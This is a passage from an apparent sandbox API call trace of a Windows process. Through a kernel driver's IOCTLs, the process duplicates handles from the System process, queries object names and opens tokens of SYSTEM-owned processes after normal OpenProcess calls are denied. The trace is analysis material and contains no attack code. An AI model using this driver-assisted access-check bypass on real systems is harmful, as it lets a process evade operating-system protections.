ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0081.644] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.644] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.644] CloseHandle (hObject=0xbc) returned 1 [0081.644] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xbc [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0081.644] CloseHandle (hObject=0xbc) returned 1 [0081.644] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.644] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.645] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.645] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.645] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.645] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0081.645] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.645] PsAcquireProcessExitSynchronization () returned 0x0 [0081.645] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054525d0) [0081.645] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0081.645] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.645] PsReleaseProcessExitSynchronization () returned 0x2 [0081.645] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x40 [0081.645] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.645] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0081.645] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.645] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.645] CloseHandle (hObject=0xc4) returned 1 [0081.645] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc4 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.645] CloseHandle (hObject=0xc4) returned 1 [0081.645] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.645] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x37cb70 [0081.645] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x37cb70, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x37cb70, ReturnLength=0x0) returned 0x0 [0081.645] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.645] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.645] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0081.645] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.645] PsAcquireProcessExitSynchronization () returned 0x0 [0081.645] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054525d0) [0081.645] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0081.645] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.645] PsReleaseProcessExitSynchronization () returned 0x2 [0081.645] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x148 [0081.646] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8003963044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003963044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.646] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0081.646] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.646] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.646] CloseHandle (hObject=0xbc) returned 1 [0081.646] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0081.646] GetLastError () returned 0x5 [0081.646] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0081.646] ZwOpenProcess (in: ProcessHandle=0xfffffa800395bf00, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005452688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005452678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa800395bf00*=0xbc) returned 0x0 [0081.646] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.646] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0081.646] ZwOpenProcess (in: ProcessHandle=0xfffff880054525f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005452608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054525f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054525f0*=0xffffffff80000a70) returned 0x0 [0081.646] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000a70, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa800395bf00, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.646] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.646] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.646] CloseHandle (hObject=0xbc) returned 1 [0081.646] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.646] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.646] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.646] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.646] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.646] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.646] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.646] PsAcquireProcessExitSynchronization () returned 0x0 [0081.646] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054525d0) [0081.646] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e600, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0081.646] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.646] PsReleaseProcessExitSynchronization () returned 0x2 [0081.646] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x113 [0081.647] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8003962044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003962044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.647] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0081.647] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.647] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.647] CloseHandle (hObject=0xc4) returned 1 [0081.647] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0081.647] GetLastError () returned 0x5 [0081.647] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0081.647] ZwOpenProcess (in: ProcessHandle=0xfffffa800395bf00, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005452688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005452678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.647] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.647] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0081.647] ZwOpenProcess (in: ProcessHandle=0xfffff880054525f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005452608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054525f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054525f0*=0xffffffff80000a70) returned 0x0 [0081.647] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000a70, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa800395bf00, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa800395bf00*=0xbc) returned 0x0 [0081.647] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.647] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.647] CloseHandle (hObject=0xc4) returned 1 [0081.647] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.647] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x37eb70 [0081.647] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x37eb70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x37eb70, ReturnLength=0x0) returned 0x0 [0081.647] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37eb70 | out: hHeap=0x340000) returned 1 [0081.647] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f405e0 [0081.647] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f405e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f405e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.647] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.647] PsAcquireProcessExitSynchronization () returned 0x0 [0081.647] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054525d0) [0081.647] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e600, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0081.647] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.647] PsReleaseProcessExitSynchronization () returned 0x2 [0081.648] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x113 [0081.648] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.648] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0081.648] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.648] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f405e0 | out: hHeap=0x340000) returned 1 [0081.648] CloseHandle (hObject=0xbc) returned 1 [0081.648] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0081.648] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xbc [0081.648] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.648] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0081.648] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.648] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x1c [0081.648] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa800395bf00 | out: TokenHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.648] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.648] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.648] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.648] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.650] CloseHandle (hObject=0xc4) returned 1 [0081.650] CloseHandle (hObject=0xbc) returned 1 [0081.650] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xbc [0081.650] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.650] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0081.650] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.650] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0081.650] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa800395bf00 | out: TokenHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.650] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.650] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.650] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.650] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.651] CloseHandle (hObject=0xc4) returned 1 [0081.651] CloseHandle (hObject=0xbc) returned 1 [0081.652] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xbc [0081.652] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.652] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0081.652] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.652] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0081.652] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa800395bf00 | out: TokenHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.652] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.652] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.652] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.652] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.653] CloseHandle (hObject=0xc4) returned 1 [0081.653] CloseHandle (hObject=0xbc) returned 1 [0081.653] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xbc [0081.653] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.653] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0081.653] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.653] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x14a [0081.653] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa800395bf00 | out: TokenHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.653] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.654] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.654] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.654] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.655] CloseHandle (hObject=0xc4) returned 1 [0081.655] CloseHandle (hObject=0xbc) returned 1 [0081.655] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xbc [0081.655] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.655] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0081.655] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.655] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6e [0081.655] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa800395bf00 | out: TokenHandle=0xfffffa800395bf00*=0xc4) returned 0x0 [0081.655] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.655] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.656] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.656] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.860] CloseHandle (hObject=0xc4) returned 1 [0081.860] CloseHandle (hObject=0xbc) returned 1 [0081.860] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xbc [0081.860] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.860] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0081.860] ObOpenObjectByPointer (in: 